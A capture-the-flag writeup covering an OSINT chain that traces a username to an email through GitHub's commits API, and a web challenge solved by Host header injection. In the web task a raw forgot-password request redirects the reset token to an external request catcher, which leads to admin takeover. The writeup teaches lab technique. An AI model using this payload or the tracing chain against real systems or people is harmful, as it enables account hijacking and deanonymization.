Cloud SEK CTF 2026 — Writeup

Author: Anlen Jeban
Date: August 31, 2026

---

Task 1: Inadvertent Exposure (OSINT)

The Challenge

We were given a single screenshot of a Kali Linux terminal session showing an ongoing reconnaissance operation.

The terminal revealed:

• Tool: HackThis v1.2
• Target: internal-service.local (192.168.1.10)
• Script path: /home/hackinggservices/desktop/customscript.py
• Activity: Port scanning (8080/HTTP), vulnerability scanning, database service scan (35% complete)

The Approach

The screenshot itself contained no extractable metadata, so I needed to find another way in. The key was the script path — specifically, the system username hackinggservices embedded within it.

This username became my primary OSINT pivot point.

Reconnaissance Chain

Step 1: Username Enumeration

I ran hackinggservices through whatsmyname.app, a username enumeration tool that checks presence across multiple platforms. The results returned several hits, with the most interesting being a Pinterest profile under the name joshuaclark02.

Step 2: GitHub Discovery

Using the new handle joshuaclark02, I searched GitHub and found a matching profile at github.com/joshuaclark02.

Step 3: Repository Analysis

Browsing through their public repositories, I found one called Custom-Scripts. A commit made just yesterday confirmed I was tracking the right target — the timing aligned with the CTF activity.

Step 4: API Enumeration

I accessed the GitHub API endpoint for the repository's commits:

https://api.github.com/repos/joshuaclark02/Custom-Scripts/commits

Scanning through the raw JSON data, I found the target's email address exposed in the commit.author.email field.

The Flag

CloudSEK{joshua.clark02@proton.me}

---

Task 2: Backdoor Broken (WEB)

The Challenge

We were presented with the StrikeVigil portal — a web application with several security misconfigurations that needed to be chained together for a full account takeover.

Reconnaissance

During initial reconnaissance, I accessed the login page and examined the HTML source code. The developer had left comments in the source referencing internal JavaScript file paths, including a debug module.

Examining the referenced JavaScript files revealed two critical issues:

Finding 1: Hardcoded Credentials in app.js

The app.js file contained a hardcoded admin email address (admin@strikevigil.com) along with a TODO comment indicating the credential was seeded on first run.

Finding 2: Exposed Debug Endpoint in debug.js

The debug.js file contained a base64-encoded URL pointing to an internal request logging service running on port 8080.

Exploitation

Phase 1: Decoding the Debug URL

After decoding the base64 string from debug.js, the URL resolved to:

http://15.206.47.5:8080/logs

This pointed to an internal request catcher service that was unintentionally exposed to the internet.

Phase 2: Password Reset Poisoning

I analyzed the forgot-password functionality and identified that the application was constructing the reset link using the Host header from the incoming request. This is a classic Host header injection vulnerability.

I sent a POST request to /forgot-password with a manipulated Host header:

POST /forgot-password HTTP/1.1
Host: 15.206.47.5:8080/attackerref

The application accepted this and generated a reset link using the injected domain. The response headers confirmed this with X-Debug-Reset-Domain showing the attacker-controlled host.

Phase 3: Token Capture

The application itself made a request to the Request Catcher with the password reset token embedded in the URL path. Within seconds, the token appeared in the public logs at /logs.

I extracted the token value and reference ID from the logged request.

Phase 4: Password Reset

With the captured token and reference ID, I constructed the legitimate reset URL:

http://15.206.47.5:9090/reset-password?token=<CAPTURED_TOKEN>&ref=<REF_ID>

Upon accessing this endpoint, the application validated the token and rendered a password reset form containing:

• A hidden token field
• A new password input field
• Title: "Set new password"
• Submit button: "Update password"

I entered a new strong password and submitted the form. The application:

1. Verified the token's validity and expiration status
2. Updated the admin account's credentials in the backend database
3. Issued a 302 redirect to /login
4. Displayed a flash message: "Password updated. Please log in."
5. Cleared the session cookie, invalidating any previous sessions

Phase 5: Admin Access

After submitting the login credentials, the application verified the email and password combination against its user database. Upon successful validation:

• The server issued a new session cookie with administrative privileges
• The browser was redirected to /dashboard via a 302 response

The admin dashboard loaded successfully, and the CTF flag was displayed in a highlighted section.

The Flag

CloudSEK{h0st_h34d3r_p01s0n_t0k3n_3xf1l_m4st3r}

---

Summary

Task	Category	Technique	Difficulty
1	OSINT	Username enumeration → GitHub → API email leak	Easy
2	Web	Host header injection → Password reset poisoning → Account takeover	Medium

Both challenges demonstrated how seemingly minor oversights — a username in a script path, developer comments left in production code — can cascade into full compromise when chained together.

---

Result

Detail	Value
Rank	8th Place
Points	300
Country	India